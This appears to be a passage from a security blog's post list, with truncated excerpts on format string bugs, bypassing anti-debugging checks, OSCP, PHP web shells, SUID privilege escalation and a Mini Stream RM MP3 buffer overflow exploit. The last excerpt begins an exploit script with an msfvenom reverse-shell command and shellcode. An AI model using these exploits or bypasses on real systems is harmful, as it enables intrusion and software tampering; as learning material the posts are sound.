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Format String Vulnerability 1 - Reading Sensitive Information from Memory by exploiting

Today I was trying to have some fun with Format String Vulnerability As defined by OWASP "The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system." So this code below is an example of how we can read a memory content by just using a format to display string. As i was using 32 bit system the expected data was there is little endian format. Here is the output from the code. So are you able to spot the secret code ? If not then let me help you.. 0x417c5230 0x43424241 0x444443 As i said its stored in Little Endian Format, the code is layout in memory in this HEX format 0x417c5230   - 41 - A 0x43424241   - 43424241 - CBBA 0x444443       - 444443     - DDC Now the question is why there

Anti Reverse Engineering Mechanism and its Bypass - Part-3 - FindWindowAPI

This is Part 3 of the Anti Reverse Engineering Mechanism Series. Here we will discuss about FindWindow API and how we can bypass the check. https://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx This function retrieves the top window level handle whose classname and window name match any specified string. So if the name matches it returns a handle, else it returns null. There is a tool called WinLister which you can find out the ClassName, Handler , Location , etc. So if you have Ollydbg already running this is what you would see So if I would start Immunity Debugger and IDA Pro , this is what you would see as well .. So the code to detect these we can write a code like this which tells if there is a debugger attached or not Now let us have a look behind the scene by loading in OllyDdb. At first we will investigate what is going inside the FindWindowAPI , so let us step inside the function call Next we will do investigation insi

Anti Reverse Engineering Mechanism and its Bypass - Part-2 - CheckRemoteDebuggerPresent()

This Part 2 of the Anti Reverse Engineering Mechanism Series. Here we will discuss about CheckRemoteDebuggerPresent API and how we can bypass the check. Let us have a look at the implementation So checkRemoteDebuggerAPI return a Non Zero Value if successful else it returns a Zero if no debugger detected. if(IsDbgPresent) => True => Non Zero Value => Debugger Found! if(IsDbgPresent) => False=> Zero => No Debugger Found! So to bypass this we need to do the following 1. Give a breakpoint at CheckRemoteDebuggerPresent 2. Now we will step inside the code of CheckRemoteDebuggerApi 3. Now we will change instruction at 23. We will convert the CMP instruction to MOV instruction. I will explain it later why I will change it. Please note while we are doing this change the EAX value is 0 because in line 22 we are doing a XOR EAX, EAX, So here is the modification. OLD =   7C85AB26 3945 08 CMP DWORD PTR SS : [ EBP + 8 ], EAX NEW =  7C85AB26

Anti Reverse Engineering Mechanism and its Bypass - Part-1 - IsDebuggerPresent()

It is possible to understand the workflow and behaviour of the application by using a hooking the application to a debugger. To ensure that someone cannot perform these kind of activities anti-reverse engineering mechanism are being used. In these series of blog posts we will see what are the various kinds of anti reverse engineering mechanism that are available and how we can bypass those mechanism and patch those applications. IsDebuggerPresent() This function is used to check if a debugger is attached to a current process that is running. Lets see a simple code that can be used to implement this api call. So if you run this code without any debugger attached it would return a value 0  and if you attach a debugger to executable and use it , then it would return 1. Let us load the process in our Debugger and find how the code works internally Now we will examine the disassembled code of the API call IsDebuggerPresent() So what is basically happening o

OSCP Certified!!

The OSCP Journey is one of the memorable journey I had till now ... It was a journey where I went through "Pain" and "Sufferance". I registered for  the course in the month on March and I took 60 days of Lab. After 3 months of continuous effort I decided to sit for the exam on 23rd June I had my exams on 23rd June and I got my results on 27th June

Simple PHP Web Shells

This tutorial should be used for educational purpose only. I won't be responsible if you misuse this techniques and get yourself in trouble. During pentest activities I have noticed that there are multiple ways to execute system commands in php. This comes handy if something is blocked / blacklisted.  Here are few simple one liner web shells

Linux Privilege Escalation : SUID Binaries

After my OSCP Lab days are over I decided to do a little research and learn more on Privilege Escalation as it is my weak area.So over some series of blog post I am going to share with you some information of what I have learnt so far. The methods mentioned over here are not my own. This is something what I have learnt by reading articles, blogs and solving CTFs SUID - Set User ID The binaries which has suid enabled, runs with elevated privileges. Suppose you are logged in as non root user, but this suid bit enabled binaries can run with root privileges. How does a SUID Bit enable binary looks like ? -r- s r-x---  1 hack-me-bak-cracked hack-me-bak         7160 Aug 11  2015 bak How to find all the SUID enabled binaries ? hack-me-bak2@challenge02:~$ find / -perm -u=s 2>/dev/null /bin/su /bin/fusermount /bin/umount /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/gpasswd /usr/bin/newgrp /usr/bin

Mini Stream RM MP3 2.7.3.700 Buffer Overflow

# Exploit Title: Mini Stream RM MP3 2.7.3.700 Buffer Overflow # Date: 31.05.2017 # Exploit Author: Dibyendu Sikdar (dibsyhex) # Vendor Homepage: http://www.downloadsource.net/5318/Mini-stream-RM-MP3-Converter-Easy-RM-to-MP3-Converter/ # Software Link: https://www.exploit-db.com/apps/1bbf03ec57b1ad30970362518e073215-Mini-streamRM-MP3Converter.exe # Version: 2.7.3.700 # Tested on: Windows 7 Home Basic 32 bit # Save the file as exploit.py # Run the code as python exploit.py # It will create a file with the exploit called play.m3u # Run a meterpreter handler in attacker system # Start the application. Select load. Select filetype as playlist. Open the play.m3u file #EIP = 1001B058 [ using PUSH ESP, RETN ] head = "A" * 35055 nop = "\x90" * 60 eip = "\x58\xB0\x01\x10" # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.130 LPORT=443 -f c -b "\x00\x0a\x0d" shell = ("\xd9\xc0\xd9\x74\x24\xf4\x5f\xb8\xad\xaf\xba\x08\x31\xc9\xb1"